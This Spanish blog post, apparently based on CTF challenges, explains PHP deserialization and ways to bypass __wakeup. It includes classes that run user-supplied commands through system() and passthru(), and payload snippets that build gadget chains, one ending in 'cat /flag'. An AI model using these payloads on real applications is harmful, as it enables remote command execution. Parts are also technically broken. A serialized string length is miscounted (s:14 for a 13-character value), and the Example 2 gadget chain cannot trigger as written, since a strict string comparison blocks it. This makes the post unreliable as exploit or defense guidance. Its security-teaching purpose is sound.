Deserialización en PHP y Técnicas de Bypass para __wakeup

La deserialización en PHP es un mecanismo que puede introducir vulnerabilidades de seguridad, particularmente cuando se usan métodos mágicos como __wakeup. Este método se ejecuta al deserializar un objeto y puede ser evitado mediante manipulación de la cadena serializada. A continuación, se presentan ejemplos educativos inspirados en desafíos de CTF que ilustran estas técnicas.

Ejemplo 1: Bypass de __wakeup Modificando Propiedades

Al serializar un objeto en PHP, el método __wakeup se invoca durante la deserialización. Para eludirlo, se puede alterar el número de propiedades en la cadena serializada, ya que PHP compara este valor con el definido en la clase. Si hay discrepancia, __wakeup no se ejecuta.

Considere la sgiuiente clase PHP:

<?php
class ObjetoVulnerable {
    public $secreto = 'valor_inicial';
    public function __wakeup() {
        exit('Solicitud inválida');
    }
}
$instancia = new ObjetoVulnerable();
echo serialize($instancia);
?>

La salida serializada podría ser: O:16:"ObjetoVulnerable":1:{s:7:"secreto";s:14:"valor_inicial";}. Para bypass, se incrementa el contador de propiedades (por ejemplo, a 2), resultando en: O:16:"ObjetoVulnerable":2:{s:7:"secreto";s:14:"valor_inicial";}. Al deserializar esta cadena modificada, __wakeup se salta, evitando la validación.

Ejemplo 2: Ejecución de Código Mediante Encadenamiento de Métodos

En entornos donde se deserializan datos de usuario, se pueden explotar métodos mágicos como __destruct y __toString para ejecutar comandos arbitrarios. A continuación, un escenario simplificado:

<?php
class ProcesoPrincipal {
    public $nombre;
    public $tipo;
    function __construct($n, $t) {
        $this->nombre = $n;
        $this->tipo = $t;
    }
    function __destruct() {
        if ($this->nombre === "ejecutar" && $this->tipo === "comando") {
            $comando = $_POST['cmd'];
            system($comando);
        }
    }
}
?>

Si la entrada del usuario ($_POST['data']) se deserializa directamente, un atacante puede crear un payload que establezca nombre a "ejecutar" y tipo a "comando". Para expandir el alcance, se puede usar una cadena de objetos, como en el siguiente ejemplo con __toString:

<?php
class Auxiliar {
    public $web;
    function __toString() {
        $funcion = $this->web;
        return $funcion();
    }
}
class Ejecutor {
    public $instruccion;
    function __invoke() {
        passthru($this->instruccion);
    }
}
?>

Un payload podría construirse así: $a = new ProcesoPrincipal(); $a->nombre = new Auxiliar(); $a->nombre->web = new Ejecutor(); $a->nombre->web->instruccion = "cat /flag"; echo serialize($a);. Esto aprovecha la encadenación de métodos para alcanzar la ejecución.

Ejemplo 3: Desafío con Restricciones en __wakeup

Otro caso común involucra restricciones impuestsa por __wakeup. Por ejemplo, una clase que hashea una contraseña al deserializarse:

<?php
class SistemaSeguro {
    public $usuario;
    public $contrasena;
    public function __construct() {
        $this->usuario = "generico";
        $this->contrasena = "123456";
    }
    public function __wakeup() {
        $this->contrasena = sha1($this->contrasena);
    }
    public function __destruct() {
        if ($this->usuario === "admin" && $this->contrasena === "hash_esperado") {
            include("flag.php");
            echo $flag;
        }
    }
}
?>

Para superar la restricción, se puede evadir __wakeup manipulando la cadena serializada, como se mostró anteriormente, o ajustar los valores directamente si el hash es conocido. Un payload simple: $obj = new SistemaSeguro(); $obj->usuario = "admin"; $obj->contrasena = "hash_esperado"; echo serialize($obj);, pero al deserializar, __wakeup hashea la contraseña, por lo que se necesita el bypass para evitar el hashing o pre-calculado el valor.

Estas técnicas destacan la importancia de validar y sanitizar las entradas en aplicaciones PHP que usan deserialización, evitando la exposición a ataques mediante métodos mágicos.

Etiquetas: PHP deserialización vulnerabilidades ctf wakeup bypass

Publicado el 5-30 10:34